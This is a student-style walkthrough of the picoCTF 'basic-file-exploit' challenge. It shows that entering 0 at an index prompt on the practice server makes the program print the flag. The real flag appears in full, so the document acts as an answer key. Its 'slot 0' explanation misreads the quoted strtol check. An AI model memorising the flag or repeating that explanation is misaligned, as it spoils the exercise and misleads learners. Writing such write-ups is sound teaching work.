



Basic-File-Exploit

basic-file-exploit 



Medium Binary Exploitation picoCTF 2022

AUTHOR: WILL HONG

Description

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it! The program's source code with the flag redacted can be downloaded [here](#).

Additional details will be available after launching your challenge instance.

This challenge launches an instance on demand.

Its current status is: **NOT_RUNNING**

Launch Instance

Hints 

1

21,558 users solved

 82% Liked 

 picoCTF{FLAG}

Submit Flag

Author: The Analyst: Hyposelenia

Challenge: Basic-File-Exploit

Category: Binary Exploitation

Date: 03/22/26



I. Objective

The objective of this challenge is to understand how **user input can affect program behavior**, and how improper validation can lead to **exploitation of a system**.

Specifically, the goal is to analyze the provided file, identify a weakness in how input is handled, and use that weakness to **retrieve the hidden flag**.

II. Background

In programming, especially in C and similar languages, programs often rely on **user input** to perform tasks. However, if inputs are not properly checked or validated, they can be abused.

This challenge demonstrates a simple case of **input-based exploitation**, where:

- A program stores user input in a database (or array)
- The program allows retrieving stored data by index
- A condition inside the code checks for a specific value (in this case, 0)

If the program is not properly secured, a user can **manipulate input values** to access unintended data, such as a hidden flag.

This is a basic introduction to concepts used in **binary exploitation and input validation vulnerabilities**.

III. Tool Used

- **Oracle VirtualBox (Kali Linux)** - Used as the Linux environment
- **Linux Terminal** - Used to execute commands and interact with the system
- **nc (Netcat)** - Used to connect to the remote challenge server
- **vim** - Used to view and analyze the provided file/code



IV. Methodology

1. Launched **Kali Linux** in Oracle VirtualBox.
2. Started the **challenge instance**.

Its current status is: **NOT_RUNNING**

Launch Instance

3. Downloaded the provided file using:

```
(kali@kali) [~/Downloads]
$ wget https://artifacts.picoctf.net/c/141/program-redacted.c
--2026-03-22 06:03:40-- https://artifacts.picoctf.net/c/141/program-redacted.c
Resolving artifacts.picoctf.net (artifacts.picoctf.net)... 18.172.21.12, 18.172.21.26, 18.172.21.90, ...
Connecting to artifacts.picoctf.net (artifacts.picoctf.net)|18.172.21.12|:443 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4282 (4.2K) [application/octet-stream]
Saving to: 'program-redacted.c'

program-redacted.c 100%[=====] 4.10K --KB/s 10 0s
2026-03-22 06:03:41 (185 MB/s) - 'program-redacted.c' saved [4282/4282]

(kali@kali) [~/Downloads]
$ ls
0x41haz-1640335532346.0x41haz logs.png logs.txt program-redacted.c
```

wget <file_link>

4. Opened and analyzed the file using:

vim <filename>

```
(kali@kali) [~/Downloads]
$ ls
0x41haz-1640335532346.0x41haz logs.png logs.txt program-redacted.c

(kali@kali) [~/Downloads]
$ vim program-redacted.c
```



5. While reading the code, observed:
A variable related to the **flag**
A condition checking for a value equal to 0 (`== 0`)

```
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
    printf("Goodbye!\n");
    exit(0);
}

if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
}
```

6. Connected to the remote service using:
`nc <server_address> <port>`

```
(kali㉿kali)-[~/Downloads]
$ nc saturn.picocftf.net 64915
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
```

7. The program displayed options. Chose:
a. **Option 1** → to store a phrase in the database

```
(kali㉿kali)-[~/Downloads]
$ nc saturn.picocftf.net 64915
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
```

- b. Entered a sample phrase



```
Please enter your data:
cutie
cutie
```

- c. Provided its length when prompted

```
Please enter the length of your data:
5
5
Your entry number is: 1
```

8. Then selected:
a. **Option 2** → to display (echo) stored data

```
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
```

9. When asked for the entry number (index), entered:
0

```
Please enter the entry number of your data:
0
0
```

10. The **flag** was displayed.

```
Please enter the entry number of your data:
0
0
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}
```

V. Result

picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}



```
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}  
(kali@kali)-[~/Downloads]  
$
```

VI. Explanation

What happened in this challenge?

Think of the program like a **list of notes**:

- You can **add a note**
- You can **view a note by its number (index)**

Example:

Index	Note
0	???
1	Your input

But here's the problem:

The program did not properly control what index you can access

Why does entering 0 work?

The program likely stored the **flag in position 0**, but didn't intend for users to access it.

When you entered:

0

You basically told the program:

“Yo! show me what's stored in slot 0”



Since there was **no restriction**, it revealed the flag lol.

What is the vulnerability?

This is an example of:

Improper Input Validation

The program should have checked:

- If the input index is valid
- If the user is allowed to access that data

But it didn't — so we exploited it.

What is nc (Netcat)?

nc is a tool used to:

- Connect to remote servers
- Send and receive data

Think of it as a **direct communication line** to the challenge program.

What is vim?

vim is a text editor in Linux used to:

- View files
- Analyze code
- Edit content

In this challenge, it helped us **understand how the program works internally**.



VII. Conclusion

This challenge highlights how **small mistakes in input validation can lead to serious vulnerabilities.**

By analyzing the source file and understanding how user input is processed, it was possible to identify a flaw that allowed access to restricted data.

This reinforces an important lesson in cybersecurity:

Never trust user input without proper validation.

Even simple programs can be exploited if they do not properly control how data is accessed

— **The Analyst: Hyposelenia**